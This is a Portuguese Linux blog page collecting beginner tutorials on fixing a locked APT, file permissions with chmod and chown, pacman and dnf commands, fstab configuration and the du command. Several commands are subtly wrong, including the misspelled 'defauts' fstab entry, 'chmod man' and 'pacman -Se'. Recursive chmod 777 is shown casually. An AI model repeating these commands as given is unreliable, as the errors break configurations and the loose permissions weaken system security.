Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador comando. Mostrar todas as postagens
Mostrando postagens com marcador comando. Mostrar todas as postagens

APT com problemas? Saiba como resolver

Nenhum comentário

segunda-feira, 16 de setembro de 2019

A dica de hoje é algo bem simples, mas que pode auxiliar quem eventualmente esteja passando por essa situação. Confesso que é algo bem raro de acontecer, ao menos em meu cotidiano. Todavia, caso não esteja conseguindo atualizar seu sistema ou instalar apps, por conta do APT “travado/bloqueado”, eis a possível solução. 

apt-erro-bloqueado-instalar-update-remover-atualizar-ubuntu-deepin-linux-mint-elementary-pop

Lembrando que o APT é um conjunto de ferramentas, usadas no Debian, Ubuntu e derivados para administrar os pacotes DEB de forma rápida e prática. Se está tendo dificuldades com outro sistema, o Fedora por exemplo, não terá nenhuma relação com o APT.

Resolvendo a “mutreta” 


Existem diversas maneiras de contornar este problema, às vezes um simples reiniciar resolve. Um equívoco comum é manter outro programa que gerencia os pacotes, como o Synaptic, aberto e tentar atualizar via terminal. Certifique-se que nenhum destes apps estejam rodando, durante as mensagens de “APT travado”. No caso do Ubuntu, especificamente, pode ser comum o APT ficar nesse estado durante os momentos iniciais em que adentra no sistema, pois o gerenciador de atualização pode estar “ao fundo” procurando atualizações. Espere uns minutinhos, se o erro persistir (ou se não tem paciência 😁️😁️😁️), tente os comandos a seguir.

apt-erro-bloqueado-instalar-update-remover-atualizar-ubuntu-deepin-linux-mint-elementary-pop

Sei de diversas maneiras para contornar esse problema. No entanto, essa resolve a maioria dos casos. Não é a mais prática, mas resolve o problema. Se quiser tentar algo antes, em um único comando, tente esse:

sudo cp -v /var/lib/dpkg/status-old /var/lib/dpkg/status 

Agora se mesmo assim não conseguiu atualizar o sistema, vamos à maneira que nunca falhou comigo.

Remova os arquivos que estão bloqueando o APT, são 3 comandinhos na seguinte ordem:

sudo rm /var/lib/apt/lists/lock

sudo rm /var/cache/apt/archives/lock

sudo rm /var/lib/dpkg/lock*

Reconfigure os pacotes:

sudo dpkg --configure -a

Por fim, atualize a lista de pacote:

sudo apt update

Logo abaixo é a versão com todos os comandos em um único:

sudo rm /var/lib/apt/lists/lock && sudo rm /var/cache/apt/archives/lock && sudo rm /var/lib/dpkg/lock* && sudo dpkg --configure -a && sudo apt update

Com isso o problema possivelmente foi solucionado e você poderá instalar, remover apps e atualizar o sistema via APT normalmente.

Faça parte de nosso fórum Diolinux Plus, compartilhe este conteúdo, SISTEMATICAMENTE! 😎
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Entendendo permissões de arquivos - Linux avançado!

Nenhum comentário

sexta-feira, 26 de julho de 2019

Oi pessoal, o artigo de hoje será uma daqueles densos, vamos tocar em um assunto que até alguns administradores de sistema com vários anos experiência ainda tem dificuldades eventualmente, o sistema de permissões do Linux.

Sistema de permissões de arquivos Linux





Grande parte da questão, é que você pode ter o controle absoluto de o que, como e em que cirscustância um arquivo ou diretório no Linux pode ser acessado, escrito, modificado ou executado. 

Provavelmente você conhece a "versão fácil" de ajustar essas configurações, observando as propriedades de qualquer arquivo pela interface:

Permissões Linux

Mas claro, se você estiver em um servidor, sem interface gráfica, trabalhando apenas via linha de comando, a coisa muda de figura. Não só fica um pouco mais complexa, porque afinal, como tudo o que é feito no terminal, você precisa saber o que escrever, como acaba ficando mais poderosa também, pois você pode espeficar detalhadamente o que você deseja.

Contextualizando permissões


Algo importante pra gente "brincar" juntos (vai ser divertido, você vai ver!) é você não ter receio e testar as coisas junto comigo, isso vai facilitar o seu aprendizado. Para isso, vamos criar uma pasta para você entender as persmissões, mas vamos fazer tudo pelo terminal, assim você já vai se familiarizando com o dia a dia de um sysAdmin.

Crie uma pasta no terminal com o nome "estudos':

mkdir estudos
Mude para dentro da pasta:
cd estudos 
Vamos criar alguns outros arquivos e pastas, por exemplo:
touch diolinux
touch "eu uso linux" 
mkdir "pasta secreta"
mkdir pasta-comum

Exercícios sobre permissões

Agora que já temos alguns arquivos na nossa pasta, vamos o rodar o comando:
ls -l
Ele nos mostrará várias informações sobre os arquivos dentro desse diretório, incluindo as permissões de cada um deles:

Permissões Linux - entendendo como funciona

Observe que existem várias informações em cada linha, mas vamos nos focar na primeira, e nos primeiros caracteres. Observe que na imagem acima eu adicionei alguns "risquinhos" vermelhos, contando de 3 em 3 caracteres, exceto o primeiro, isso tem um motivo. 

Vamos transpor a informação para cá, para fins de comparação, entre o primeiro arquivo comum "diolinux" e o último arquivo, que na verdade é um diretório, chamado "pasta secreta":

-rw-r--r-- 1 dio dio    0 jul 26 14:23  diolinux
drwxr-xr-x 2 dio dio 4096 jul 26 14:23 'pasta secreta'

Observe e compare a diferença entre as duas linhas, certamente você encontrará muitas semelhanças e também diferenças, vamos analisar em blocos coloridos:

-rw-r--r-- 1 dio dio    0 jul 26 14:23  diolinux

O primeiro caractér em preto, indica o tipo do arquivo, seguindo essa tabela:

d = diretório
b = arquivo de bloco
c = arquivo especial de caractere
p = canal
l =  link simbólico
s = socket
- = arquivo "normal" ou um arquivo em branco (é esse o caso do exemplo)

A parte em vermelho nos diz quais as permissões do arquivo para "dono, grupo e outros", mas voltaremos nele mais tarde.

O número em laranja nos diz a quantidade de links inode que existe neste arquivo ou diretório. Um sistema Linux identifica os arquivos por seus números de inode, que é uma forma única do sistema de arquivos identificar cada um dos arquivo. Um diretório, é na verdade uma lista de números inode com seus nomes correspondentes. Cada nome de arquivo em um diretório é um link para um inode em particular. Não é algo especialmente útil para o nosso estudo de permissões, mas fica aqui como curiosidade. :)

O nome "dio" em verde, nos informa o usuário que é dono do arquivo, e o segundo "dio", em azul claro, nos informa quem é o grupo de usuários que é dono dele, da mesma forma.

Cada arquivo no Linux é "propriedade" de alguém, ou de um usuário em particular. Normalmente o dono do arquivo (owner) é o criador do arquivo, mas graças ao sistema de permissões, você pode criar situações onde o usuário que criou o arquivo não é dono dele, dando a propriedade para outra pessoa ou usuário.

O dono do arquivo ou diretório também pode pertencer a um determinado grupo, nesse caso o arquivo é associado a todos os usuários que fazem parte de um determinado grupo. No nosso exemplo, o nome do criador e proprietário do arquivo e nome do grupo são o mesmo, "dio".

Em azul escuro temos o valor em "bytes" do espaço em disco ocupado pelo arquivo ou diretório. Nesse caso, não chega nem a um, por isso do número zero.

A próxima informação nos diz a data de criação do arquivo ou diretório em questão.

Por último, temos o nome do arquivo.

Dando uma olhada profunda nas permissões

Vamos "dar um zoom" na parte vermelha da saída do nosso terminal, que nos informa os seguintes dados:

rw-r--r--

Podemos contrastar com a informação do arquivo da última linha, que ao contrário do primeiro da lista, que é um arquivo simples, é uma pasta, ou diretório, como você preferir chamar:

rwxr-xr-x

Até mesmo essa informação deve ser fragmenta em grupos de 3, pegando o segundo exemplo, pois há maior diversidade de opções, temos: rwx    r-x    r-x

Cada terceto informa respecitivamente as permissões para:

dono  grupo e outros
Onde:

r = read (ler)
w = write (escrever)
x = execute (executar)
- = não tem permissão

Sabendo disso, observando o nosso exemplo, podemos dizer que:

- O dono do arquivo tem permissões de ler, escrever e executar este arquivo (rwx);
- O grupo de usuários ao qual o arquivo pertence tem permissões de leitura, não tem permissões de escrita, mas pode executar o arquivo (r-x);
- Outros usuários poderão ler o arquivo, não poderão escrever nele, e podem executá-lo(r-x).

Se voltarmos ao primeiro exemplo: rw-r--r--

Temos:

- O dono pode ler, escrever, mas não pode executar;
- O grupo pode ler, não pode escrever e nem executar;
- Outros usuários podem ler, mas não podem escrever e nem executar;

Como alterar permissões de acesso de um arquivo e suas muitas opções


Agora que você já entendeu como ler as permissões dos arquivos, você pode querer mudá-las, para permitir ou bloquear o uso de certas pessoas ou usuários. Para isso, temos dois comandos no Linux:

chmod: Chamado de "change mode", serve para mudar as permissões de um arquivo ou diretório.

chown: Chamado de "change owner", serve para mudar o dono de um arquivo ou diretório.

Por exemplo, se eu quiser modificar o nosso arquivo de exemplo "diolinux" para que o usuário, dono do arquivo,  tenha a permissão de execução nele, posso usar o comando:
chmod 754 diolinux
Mudando permissões

Observe a leitura do arquivo original na imagem acima com o "ls -l", mudando as permissões com o comando acima, e fazendo a leitura novamente. Veja como o X foi adicionado ao arquivo na coluna do usuário, mas foi também adicionado à coluna de grupos, já que nesse caso, uma coisa afeta a outra.

Por acaso, eu tenho a intuição de que você deu uma coçada na cabeça agora, não foi? Acertei? :D

De onde saiu esse "754" do inferno?

Eu vou te explicar como isso funciona, fique tranquilo.

Entendendo a numeração das permissões


Você já deve ter ouvido falar que a computação moderna se trata, lá no fundo, de número binários, certo? Uns e zeros, aquela coisa toda, não é?

Pois então, imagine que as colunas de read, write e exec são "interruptores", com valor um(1), elas fazem algo, com valor zero(0), elas deixam de fazer, por exemplo:

rwx    r-x     r--
111    101   100

Agora a brincadeira fica interessante, converta os números binários para decimais e veja que "111", no exemplo, é igual a 7, "101" é 5, "100" é "4" e assim por diante. Você pode brincar numa dessas calculadoras online se quiser. 

No fim, temos um número finito de combinações que gera-nos essa tabela:

Tabela de permissões CHMOD Linux

Logo, o número que você vai digitar logo após o "chmod" é referente ao tipo de de permissão que você quer dar, se você quer que todos tenham permissão pra tudo, por exemplo, o comando seria:
chmod 777 nome_do_arquivo
Esse comando só pode ser executado dessa forma, se você for o dono do arquivo obviamente. Quando se trata de mudar permissões de pastas, é necessário acrescentar um parâmetro para que as permissõe sejam acrescentadas recursivamente a todos os elementos dentro dela, a menos que você realmente queira mudar a permissão do diretório, mas não dos arquivos dentro dele:
chmod -R 777 nome_da_pasta 
Aqui mais uma tabela que pode ser útil:

Esquema de permissões Linux

Claramente, 666 não é o número da besta, é simplesmente o universo te dizendo que você pode ler e escrever, mas não executar nada. 😮

Você também pode usar o "chmod" para acrescentar um remover alguma permissão ao arquivo, ao invés de mudar todas as configurações. Como por exemplo aplicar permissões para todos os usuários assim:
chmod +x 'eu uso linux'
Configurando permissões

Esse parâmetro "+x" acrescenta o "x" de "executable" em "dono", "grupo" e "outros" ao mesmo tempo, conforme você pode ver na imagem acima, onde fizemos o processo no arquivo 'eu uso linux', que por identificação visual, mudou de cor no Bash do Ubuntu, indicando que agora ele é um executável também, ficando em verde.

Assim como usamos o "+x" para torná-lo executável, podemos usar "+w" para escrita e "+r" minúsculo, para leitura em todos ao mesmo tempo.

Por via das dúvidas, roda um:
chmod man
Para ver o manual do comando.

Esse é o jeito "old scholl" de fazer as coisas, talvez porque lembrar de números seja mais fácil(?), mas na verdade, o "chmod" suporta letras também, de forma ainda mais direta do que quando usamo o "+x" ou "+w" ou o que for.

Por exemplo:

Quem é: u, g, o, a (para user, group, other, all)
O que será feito: +, -, = (para adicionar, remover, setar exatamente)
Onde estará:  r, w, x (para read, write, execute)

Numa linha de comando, o "chmod 777 diolinux" que fizemos seria:
chmod ugo+rwx diolinux
configurando permissões de arquivos

Eu sei, eu sei, "chamando o ugo", também não consigo evitar o pensamento. A minha quinta série interna saúda a sua. 😀

Mudando o dono do arquivo ou diretório 


Para mudar o dono do arquivo você precisa ser o Root, que é dono da porra toda de tudo. E você faz isso usando o comando chown.

Existe um padrão de sintaxe para esse comando, que é:
chown dono:grupo arquivo/pasta
Para ver os grupos disponíveis, manda um:
cat /etc/group
Se quiser ver odernadinho, pode ser:
cut -d: -f1 /etc/group | sort
Dessa forma fica óbvio como proceder para fazer uma mudança de propriedade ou de grupo:
sudo chown root:root diolinux  
configuração de mudança de usuário

Como curiosidade, olhe as propriedades desse arquivo pela interface e você verá algo assim:

Configuração de permissões de pasta

Como temos uma persmissão 777 nesse arquivo, mesmo ele pertecendo agora ao Root, nosso usuário normal pode, pode exemplo,  editar ele. Mas e se fizermos isso?
sudo chmod 750 diolinux
Precisamos do sudo agora porque o arquivo não é mais nosso e sim do Root, então precisamos executar o comando como super usuário. Tente abrir o arquivo com o seu usuário normal e você verá que agora você não consegui mais editar e salvar ele, mesmo tendo sido você o original criador! Muito legal! :)

Por fim, espero que o artigo seja digno de um favorito no seu navegador, agora você pode apagar a sua pasta de estudos. Se tiver alguma dúvida, consulte o nosso fórum, ele é um lugar muito legal para compartilhar conhecimentos.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.

Comandos básicos para quem está chegando ao Arch Linux e Manjaro

Nenhum comentário

quarta-feira, 10 de julho de 2019

Se você está chegando ao mundo Linux e está começando nele através do Arch Linux ou do Manjaro, esses comandos vão lhe ajudar e muito na sua jornada no sistema. Vamos falar do gerenciador de pacotes pacman.

Comandos básicos para quem está chegando ao Arch Linux e Manjaro






Esse artigo também serve para quem estiver vindo da base Debian/Ubuntu e está procurando os comandos equivalentes ao apt. Lembrando de sempre verificar se os comandos estão digitados da forma correta, para não haver falhas.


Vamos fazer em um “esqueminha de tabela”, onde em cima fica o(s) comando(s) base Debian/Ubuntu e em baixo fica os comandos para Arch Linux e Manjaro, fecho? Então bora lá.

Vamos começar pelo básico, que é atualizar os pacotes do sistema.

sudo apt-get update / sudo apt update              

pacman -Sy = sincroniza os repositórios.
pacman -Su = procura por atualização.
pacman -Syu = sincroniza os repositórios/procura por atualização.

Quando se precisa fazer uma atualização dos pacotes e das dependências:

sudo apt-get upgrade / sudo apt upgrade / sudo apt-get dist-upgrade / sudo apt full-upgrade

sudo pacman -Syyu = sincronização total/procura por atualização.
sudo pacman -Syy = sincroniza os repositórios do Manjaro Linux.


Quando precisamos procurar algum programa via terminal, utilizamos esses comandos:

apt-cache search nome_do_pacote  /  apt search nome_do_pacote

sudo pacman -Ss nome_do_pacote = procura por um pacote.

Feito isso, chegou a hora de instalar o(s) pacote(s), e é uma tarefa bem fácil. No Manjaro / Arch Linux tem uns “Plus”:

sudo apt-get install pacote / sudo apt-get install pacote 1 pacote 2 … / sudo apt-get install -y pacote / ainda sudo apt install pacote

sudo pacman -S nome_do_pacote = instala um pacote

sudo pacman -Sw nome_do_pacote = apenas baixa o pacote e não o instala.

Após encontrar o pacote desejado e instalado, caso queira  ver o “Sobre” ou “About” do pacote, usamos os seguintes comandos:

apt-cache show nome_do_pacote (mostrando o cache local dele) ou o apt show pacote

sudo pacman -Si nome_do_pacote = mostra informações de um pacote não instalado.

sudo pacman -Qi nome_do_pacote = mostra informações do pacote já instalado.

sudo pacman -Se nome_do_pacote = instala apenas as dependências.

Já na remoção de algum pacote, temos duas opções no Arch Linux / Manjaro, uma removendo somente o pacote ou removendo o pacote e suas dependências, os comandos são:

sudo pacman -R nome_do_pacote = remove um pacote.

sudo pacman -Rs nome_do_pacote = remove o pacote junto com as dependências não usadas por outros pacotes.

Se você precisar de mais parâmetros e ajuda, acesse diretamente no terminal, digitando pacman -h ou pacman --help ou acessando os links de ajuda da Wiki do Arch Linux, que alguns estão em inglês, mas nada que o Google Tradutor não ajude 😉, outros estão em português.

Links da Wiki do Arch Linux: Link 1 , Link 2 e Link com todos comandos detalhados.

Espero que esse guia básico tenha lhe ajudado. 😁😉

Confiram também o tutorial completo sobre Arch Linux que tem lá no canal, confiram abaixo

          

Ou se você preferir usar o pamac, mostramos ele no vídeo sobre o Manjaro

          

Este artigo não acaba aqui, continue trocando uma ideia lá no nosso fórum.

Espero você até a próxima, um forte abraço.

_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Comandos básicos para quem está chegando ao Fedora

Nenhum comentário

Se você está chegando ao mundo Linux e está começando nele através do Fedora, ou está migrando de alguma outra distro, como o Ubuntu ou Mint, esses comandos vão lhe ajudar e muito na sua jornada no sistema do “chapéu azul”.


Comandos básicos para quem está chegando ao Fedora






Esse artigo também serve para quem estiver vindo da base Debian/Ubuntu e está procurando os comandos equivalentes ao apt. Lembrando de sempre verificar se você está no modo root nos casos específicos.

Vamos começar pelo básico, que é atualizar os pacotes do sistema. No Debian/Ubuntu se usa o sudo apt-get update ou sudo apt update, já no Fedora usamos o:

sudo dnf check-update

Quando precisar atualizar os pacotes instalados usamos o sudo apt-get upgrade / sudo apt upgrade ou para adicionar/remover pacotes que tenham novas dependências, usamos o  sudo apt-get dist-upgrade / sudo apt full-upgrade. Já no Fedora usamos o :

sudo dnf upgrade

Quando precisamos procurar algum programa via terminal, no Debian/Ubuntu é utilizado o apt-cache search nome_do_pacote ou apt search nome_do_pacote. Já no Fedora é utilizado:

dnf search nome_do_arquivo ou dnf search all nome_do_aquivo (esse último, inclui na procura a descrição do pacote)

Após encontrar o pacote desejado, caso queira  ver o “Sobre” ou “About” do pacote. Quando utilizando Debian/Ubuntu, o comando é apt-cache show pacote (mostrando o cache local dele) ou o apt show pacote. No Fedora pode se usar dois comandos, que são:

dnf info pacote ou dnf repoquery --requires pacote (listando as dependências para aquele pacote)

Feito isso, chegou a hora de instalar o(s) pacote(s), e é uma tarefa bem fácil. Na base Debian/Ubuntu, você geralmente utiliza sudo apt-get install pacote ou sudo apt-get install pacote 1 pacote 2 … ou sudo apt-get install -y pacote ou ainda sudo apt install pacote. No Fedora segue quase a mesma “linha”, que seria:

sudo dnf install pacote 

ou

sudo dnf install pacote1 pacote2 

ou

sudo dnf install -y pacote

Bem simples “né não” 😄

Agora se você precisar instalar um pacote dentro de uma pasta por exemplo, no Debian/Ubuntu você usa o comando sudo dpkg -i pacote.deb (formato usado em grande maioria por distros Debian, Ubuntu e suas “filhas”). No Fedora não é muito diferente, e o comando é:

sudo dnf install pacote.rpm (rpm é o tipo de empacotamento usado no Fedora)

A remoção é bem simples também, no Debian/Ubuntu usamos sudo apt-get remove pacote ou sudo apt remove pacote. Já no Fedora, só mudamos a “palavrinha”, mas a ideia é a mesma:

sudo dnf erase pacote ou sudo dnf remove pacote

Por último, mas não menos importante, para adicionar o repositório RPM Fusion, tanto com as versões free e nonfree, basta utilizar o seguinte comando:

sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm

Se você precisar de mais parâmetros e ajuda, você pode acessar diretamente no terminal, digitando man dnf ou acessando os links de ajuda do Fedora e da Red Hat, que estão em inglês, mas nada que o Google Tradutor não ajude 😉.

Espero que esse guia básico tenha lhe ajudado. 😁😉

Confiram o vídeo de Review do Fedora 30 

            

Este artigo não acaba aqui, continue trocando uma ideia lá no nosso fórum.

Espero você até a próxima, um forte abraço.

_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como configurar discos e partições no Linux usando FSTAB

Nenhum comentário

terça-feira, 5 de março de 2019

Quando eu estava aprendendo Linux, lembro de ter lido em algum lugar algo que dizia: "No Linux tudo são arquivos". E querendo ou não, de fato, toda a configuração do sistema, de forma geral, é feita através de "simples" arquivos de textos, configurados de forma a fazer tudo o que você vê na sua tela funciona como se deve. Um desses arquivos é o FSTAB (File Systems Table).

Como configurar o FSTAB






Mesmo que você nunca sequer tenha pensando nisso, a sua distribuição Linux faz, toda a vez que você liga o seu computador e dá boot no sistema operacional, a montagem das partições do seu disco, do seu SWAP e de onde fica cada coisa. Esse é um processo automático que ocorre baseado nas informações contidas em um arquivo que fica no diretório /etc/fstab.

Configurando FSTAB


O que faz com que muitas pessoas tenham receio do FSTAB é que ele é um arquivo realmente não muito claro, especialmente se comparado com outros que existem por aí, que possuem várias linhas comentários informando como trabalhar com as informações contidas neles mesmos.

Meu conselho mais básico é: Encare o FSTAB como o que ele é: uma tabela. O nome TAB (de Table) não está ali à toa. Ao abri-lo, para facilitar, tente visualizar as colunas e linhas, isso vai ajudar bastante.

Você pode abrir ele com qualquer editor de textos que quiser, como o gedit, xed, pluma, entre outros, mas que tal brincarmos no terminal um pouco? 😄

Vocẽ pode fazer uma leitura rápida do que está contido no seu FSTAB com esse comando:
cat /etc/fstab
Isso deve te trazer informações semelhantes a essa:

FSTAB Linux

O FSTAB é responsável pela montagem do seu próprio sistema, por isso, ele é um arquivo bem "sensível", caso você esteja apenas estudando, é recomendo fazê-lo em uma máquina virtual

Outra possibilidade é fazer backup do arquivo antes de começar a editá-lo, por exemplo:
sudo cp /etc/fstab /etc/fstab-bkp
Se precisar usar esse arquivo de backup, coloque ele de volta no lugar assim:
sudo cp /etc/fstab-bkp /etc/fstab
 Vamos usar um editor de textos simples e disponível para todas as distros Linux para editar o FSTAB, o Nano. Para abrir o arquivo com propriedades adequadas para modificação, use:
sudo nano /etc/fstab
Ou rode o comando como Root, caso a sua distro não possua o seu usuário dentro do sudoers

Entendendo o FSTAB


Esse é o ponto primordial. Como já informado, o FSTAB nada mais é do que uma tabela (mesmo que não tenha muito essa cara inicialmente), cada coluna suporta algumas informações diferentes. São elas:

Configuração FSTAB

Coloquei efetivamente em uma tabela esse exemplo para ficar um pouco mais claro, mas vale uma observação, muitas vezes no lugar de "/dev/sda1" do exemplo, pode haver a UUID do dispositivo, de uma forma semelhante a essa: UUID=04b60adc-ccc2-406e-9cbb-fb80f9c4e5fb. No fim, é isso que bagunça um pouco as coisas, mas você pode montar os seus discos e partições apenas sabendo o nome deles, usando o comando:
lsblk

Repare os nomes abaixo da columa "NAME" e ao lado você consegue ver o tamanho e o tipo, se é "apenas leitura" (RO) e se já está montado em algum lugar em "MOUNTPOINT".

Antes de processeguirmos, é importante que você conheça alguma das opções envolvendo as colunas do FSTAB:

File System: Pode conter a UUID do dispositivo ou o endereço dele. Dispositivos como partições e discos ficam sempre em /dev no mundo Linux, então uma partição (como esta de 1,4T na imagem acima) poderia ser encontrada em /dev/sdc1.

Para verificar o UUID de uma partição para usar no lugar do endereço, use o comando:
blkid
Mount Point: É simplesmente o local onde a partição ou disco está montado. Ela pode apontar para qualquer lugar do sistema à partir da raiz (/). Geralmente os dispositivos montados automaticamente pelo sistema, como pen drives, HDs Externos, etc. são montados em /media, porém, quando isso é feito manualmente é comum usar o diretório /mnt, mas realmente, você pode montar em qualquer lugar que quiser.

Type: Nessa columa você deve colocar o tipo do sistema de arquivos de cada disco, você pode ver qual o sistema de arquivos a sua partição usa com o comando:
sudo file -s /dev/sdc1
Observe que a parte sublinhada deve ser trocada pelo caminho da unidade que você quer observar, para saber qual o nome das unidades é possível usar o comando que mostramos antes, o lsblk. Esse comando "file -s" ainda pode ser útil para você descobrir a UUID do disco, além de permitir que você veja em qual sistema de arquivos o seu disco está formatado.

Alguns comuns seriam:

- ext4
- swap

- ntfs-3g- vfat
- btrfs

- ntfs
- auto

Se por algum motivo você não sabe ou não conseguiu descobrir qual o  filesystem do disco, você pode tentar usar a opção "auto", que tenta adivinhar o formato na hora da montagem.

Options: Nessa coluna do FSTAB você vai adicionar as opções de montagem que existem. Existem diversas opções diferentes, eu vou listar algumas das mais comuns aqui. Várias opções podem ser usadas em uma mesma linha, bastando adicionar uma virgula apenas entre cada uma, sem a necessidade de espaço.

- auto/noauto: Essa opção permite que o dispositivo seja montado automaticamente durante o boot do sistema, sendo que "auto" é a opção padrão, se você não quer que o disco seja montado durante o boot, é necessário dizer explicitamente que você não quer isso colocando a opção "noauto".

- dev/nodev: Indica se o disco ou partição deve ou não ser considerado um dispositivo que contém um sistema de arquivos "especial". Geralmente a opção "nodev" é usada em sistemas que tem acesso público e tal opção impede que qualquer usuário possa fazer certas alterações, como criar um "device file".

- exec/noexec: Como você pode ver, as opções até que são simples de ententer, uma permite algo, a outra nega. Nesse caso você pode permitir ou negar que os binários nessa partição ou disco sejam executados.

- rw/ro: Se você associar aos seus significados fica fácil de ententer, rw (read and write/leitura e escrita) e ro (read only/apenas leitura).

- user/users/nouser: Nessa sessão podemos ter três opções. A opção "user" permite que qualquer usuário monte esse sistema de arquivos, o que automaticamente ativa outras funções como noexec, nosuid e nodev, a menos que você informe o contrário. Se a opção "nouser" for especificada, apenas o root poderá montar esse sistema de arquivos, já se a opção "users" for a selecionada, qualquer usuário dentro do grupo users será capaz de montar o dispositivo.

- defaults: Como o nome sugere, essa opção usa os padrões do Linux/da distro. A configuração padrão é definida conforme o sistema de arquivo. Geralmente isso quer dizer que as opções serão equivalentes a rw,suid,dev,exec,auto,nouser,async.

- owner: Permite que apenas o dono do dispositivo o monte, ou seja, quem criou o sistema de arquivos.

Existem muitas outras opções disponíveis, e uma leitura bacana para se fazer sobre isso pode ser nas páginas:

- Ubuntu Community Help
- ArchWiki
- Debian Wiki

Dump: Nessa coluna você pode indicar através de um (1) ou zero (0) se a unidade que está sendo montada deve receber um backup do programa dump. Colocar Zero indica que esse sistema de arquivos nunca será "backupeado" automaticamente dessa forma, em alguns casos, é preciso ver se o dump está instalado na distro.

Pass: O número que for adicionado nessa linha indicada a ordem em que o fsck vai fazer a checagem do disco por erros na hora do boot.

1 - Verifique essa partição primeiro.
2 - Verifique depois de verificar o primeiro.
0 - Não verifique.

Com isso finalizamos a explicação de cada uma das opções mais populares para a montagem de uma partição. Para você entender um pouco melhor, vamos para um caso prático.

Montando um disco e adicionando no FSTAB


Voltemos para a parte  onde eu mostrei  o comando "lsblk". Digamos que eu queira montar a minha partição "sdc1" de 1,4TB através do FSTAB na inicialização do meu sistema.

Primeiro vamos criar o ambiente ideal para fazer montagem. Eu vou fazer a minha montagem dentro de /mnt, então vou criar uma pasta dentro desse direitório para montar o meu disco, assim fica tudo organizado. Esse disco de 1,4TB é um HD de backup, então vou chamar a pasta de "dados".
sudo mkdir /mnt/dados
O comando acima cria uma pasta, ou diretório, dentro da minha pasta /mnt com o nome "dados",  então agora vamos indicar esse ponto de montagem no fstab, vamos editá-lo usando o editor nano.
sudo nano /etc/fstab
FSTAB configurada
Será que você consegue ver a ideia da tabela em ação agora? :)

No nano você deve navegar usando as setas do seu teclado até a última linha e digitar os dados da partição que você quer montar, no meu caso:

/dev/sdc1 /mnt/dados ext4 defauts 0 0

Indicando, em ordem, o disco que eu quero montar (/dev/sdc1), onde eu quero que seja montado (/mnt/dados), qual o sistema de arquivos do disco (ext4), configurações padrões (defaults) e configuranção de dump e pass setadas para zero (0).

Você pode também fazer comentários (como eu fiz na imagem acima) adicionar um # e depois escrever o que quiser. Tudo o que ficar nessa linha será ignorado na leitura do fstab pelo sistema, esses comentários servem apenas para interação humana e melhor compreenção.

No nano você geralmente usa  a tecla Ctrl (Control) combinada com alguma outra tecla para executar uma função, porém, você pode, aqui, para sair e salvar, pressionar "Ctrl+X", o editor vai te perguntar se você quer salvar o arquivo, pressione o "S" (de SIM) e sobrescreva o seu fstab dando "enter".

Dica: Tome cuidado para não alterar o nome do arquivo, ele deve continuar se chamando fstab!

Muito bem, de fato, agora se você reiniciasse o seu computador a sua partição ou disco seria montada no diretório indicado, porém, você pode fazer isso manualmente para montar o dispositivo agora mesmo usando esse comando:
sudo mount -O /dev/sdc1 /mnt/dados 
Lembrando que "/dev/sdc1" deve ser alterado para a nomenclatura que corresponde ao seu disco e "/mnt/dados" deve ser alterado pelo caminho e nome da pasta onde você quer fazer a montagem. 

Com isso você já tem todas as informações excenciais para fazer a montagem das partições do seu servidor, ou até mesmo na sua distro de desktop, se você for "mais raiz". 😀

Fazendo montagens para interface gráfica


Tem uma galera que fica um pouco presa ao "old way" de fazer as coisas, e esse nem sempre é jeito é o mais fácil. Claro, se é um servidor, se você é um profissional ou um estudante de Linux é outra história, mas se você tem uma interface na sua frente e só quer montar o seu disco e nada mais, nada impede que você use uma interface.

Existe um utilitário do GNOME que vem com a maior parte das distros chamado "GNOME Disks", o nome do pacote geralmente é "gnome-disk-utility" ou "gnome-disks" e você o encontra no repositório de qualquer distro. Quando o sistema está traduzido para Português, geralmente você o o encontra no menu do sistema procurando por "Discos".

GNOME Disks

Ele é um software muito legal, tem vários recursos para você se informar sobre os os seus discos. Você pode ver os desenhos das partições, tamanhos, formatos, sistemas de arquivos, tipos, fazer benchmarks, fazer testes de saúde dos discos, entre muitas outras coisas. Realmente fantástico.

Umas das funcionalidades dele é controlar a montagem de discos, fazendo com que tudo que fizemos "na unha" antes possa ser feito através de uma simples, mas poderosa, interface.

Para seguir o mesmo exemplo, digamos que eu queira montar o meu HD de 1,4 (1,5) TB aumaticamente com o sistema, basta eu clicar no disco na esquerda, depois você pode clicar no ícone da engrenagem e ir até "opções de montagem", onde você vai encontrar várias opções de configurações, muitas delas relacionadas ao que aprendemos ao longo do post.

GNOME Disks

É interessante ver a evolução do Linux nesse sentido, o nível personalização para fazer o que você bem entender com o sistema configurando apenas arquivos é sensacional, também é curioso pensar que há algumas décadas a única forma de fazer certas coisas era via terminal e esses arquivos de configuração. Atualmente tudo pode ser mais simples e bonito, mas o poder da linha de comando continua lá para quem quiser tomá-lo.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Comando DU no Linux - Como ver o tamanho de arquivos e diretórios pelo terminal

Nenhum comentário

quinta-feira, 24 de janeiro de 2019

Eu pretendo começar uma série de artigos aqui no blog falando sobre comandos úteis no terminal, além de algumas dicas de configurações mais avançadas. Esse tipo de artigo acaba servindo como documentação extra oficial e referência para futuros artigos e vídeos que nós produziremos. Hoje vamos falar sobre o 'du'.

Comando DU Disk Usage no Linux






Imagine que você esteja mexendo no seu servidor e querendo saber quanto de espaço algum arquivo ou pasta está ocupando, o que você faria? Em modo gráfico você pode utilizar alguns softwares como o "Analisador de uso de Disco" que é excelente, olha só:


Mas caso você não tenha modo gráfico ou simplesmente queira fazer a verificação via terminal, existe um utilitário muito legal e poderoso chamado "du", uma abreviação de "disk usage", ou "uso de disco", em Português.

Como utilizar o comando DU


O comando "du" geralmente está presente em todas as distros Linux por padrão, pois faz parte do Core Utils, para saber mais sobre a sua utilização você pode usar o comando:
du --help
du-help-linux
Existem mais opções do que as mostradas nessa imagem...
